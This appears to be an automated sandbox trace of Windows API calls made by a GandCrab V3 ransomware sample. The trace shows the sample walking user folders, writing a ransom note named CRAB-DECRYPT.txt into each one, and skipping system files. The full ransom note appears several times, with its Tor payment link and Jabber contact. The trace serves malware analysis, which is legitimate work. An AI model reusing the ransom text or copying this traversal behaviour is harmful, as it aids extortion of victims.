	[0119.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Word" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word"
	[0119.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\"
	[0119.426] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.426] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.426] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.427] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.427] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.427] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.427] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\\\CRAB-DECRYPT.txt") returned 70
	[0119.427] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\word\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0119.428] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.428] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0119.429] CloseHandle (hObject=0x3f0) returned 1
	[0119.429] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\") returned 53
	[0119.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*"
	[0119.430] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xded228
	[0119.430] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.430] FindNextFileW (in: hFindFile=0xded228, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.430] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.430] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.430] FindNextFileW (in: hFindFile=0xded228, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.430] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.430] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\CRAB-DECRYPT.txt"
	[0119.430] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.431] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\CRAB-DECRYPT.txt") returned 69
	[0119.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\CRAB-DECRYPT.txt") returned 69
	[0119.431] lstrlenW (lpString=".txt") returned 4
	[0119.431] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.431] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.431] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\CRAB-DECRYPT.txt") returned 69
	[0119.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\CRAB-DECRYPT.txt") returned 69
	[0119.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.432] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.432] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.432] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.432] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.432] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.432] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.432] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.432] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.432] FindNextFileW (in: hFindFile=0xded228, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.432] lstrcmpW (lpString1="STARTUP", lpString2=".") returned 1
	[0119.432] lstrcmpW (lpString1="STARTUP", lpString2="..") returned 1
	[0119.432] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="STARTUP" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP"
	[0119.432] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\"
	[0119.432] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.433] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.433] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.433] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.433] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.433] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.433] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.434] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\\\CRAB-DECRYPT.txt") returned 78
	[0119.434] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\word\\startup\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0119.439] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.439] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0119.459] CloseHandle (hObject=0x3f4) returned 1
	[0119.459] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.459] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\") returned 61
	[0119.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*"
	[0119.459] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xded8a8
	[0119.460] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.460] FindNextFileW (in: hFindFile=0xded8a8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.460] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.460] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.460] FindNextFileW (in: hFindFile=0xded8a8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.460] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.460] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\CRAB-DECRYPT.txt"
	[0119.460] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.460] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\CRAB-DECRYPT.txt") returned 77
	[0119.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\CRAB-DECRYPT.txt") returned 77
	[0119.461] lstrlenW (lpString=".txt") returned 4
	[0119.461] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.461] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.461] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.461] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\CRAB-DECRYPT.txt") returned 77
	[0119.461] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\CRAB-DECRYPT.txt") returned 77
	[0119.461] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.461] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.461] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.461] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.461] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.462] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.462] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.462] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.462] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.462] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.462] FindNextFileW (in: hFindFile=0xded8a8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0119.462] FindClose (in: hFindFile=0xded8a8 | out: hFindFile=0xded8a8) returned 1
	[0119.462] FindNextFileW (in: hFindFile=0xded228, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0119.462] FindClose (in: hFindFile=0xded228 | out: hFindFile=0xded228) returned 1
	[0119.463] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0119.463] FindClose (in: hFindFile=0xd80760 | out: hFindFile=0xd80760) returned 1
	[0119.463] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0119.463] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1
	[0119.463] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1
	[0119.463] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla"
	[0119.463] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\"
	[0119.463] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.463] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.463] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.463] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.464] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.464] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.464] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.464] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.464] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.464] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\\\CRAB-DECRYPT.txt") returned 63
	[0119.464] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0119.466] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.466] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0119.466] CloseHandle (hObject=0x3ec) returned 1
	[0119.467] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.467] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\") returned 46
	[0119.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*"
	[0119.467] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xded768
	[0119.467] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.467] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.467] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.467] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.467] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.467] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.467] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\CRAB-DECRYPT.txt"
	[0119.468] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.468] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\CRAB-DECRYPT.txt") returned 62
	[0119.468] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\CRAB-DECRYPT.txt") returned 62
	[0119.468] lstrlenW (lpString=".txt") returned 4
	[0119.468] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.468] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.468] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.469] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\CRAB-DECRYPT.txt") returned 62
	[0119.469] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\CRAB-DECRYPT.txt") returned 62
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
